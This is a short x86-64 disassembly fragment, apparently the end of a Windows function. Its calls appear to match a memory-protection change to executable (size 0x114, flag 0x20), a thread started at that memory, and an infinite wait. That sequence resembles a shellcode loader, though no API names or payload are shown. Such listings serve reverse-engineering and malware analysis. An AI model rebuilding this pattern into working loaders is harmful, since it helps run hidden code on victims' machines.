lea r9, [rbp + 0xfd0]
mov edx, 0x114
mov r8d, 0x20
mov rcx, rdi
call r14
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rdi
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call r15
mov edx, 0xffffffff
mov rcx, rax
call r12
xor eax, eax
mov rcx, qword [rbp + 0x1100]
xor rcx, rsp
call fcn.140002c20
lea r11, [rsp + 0x1210]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret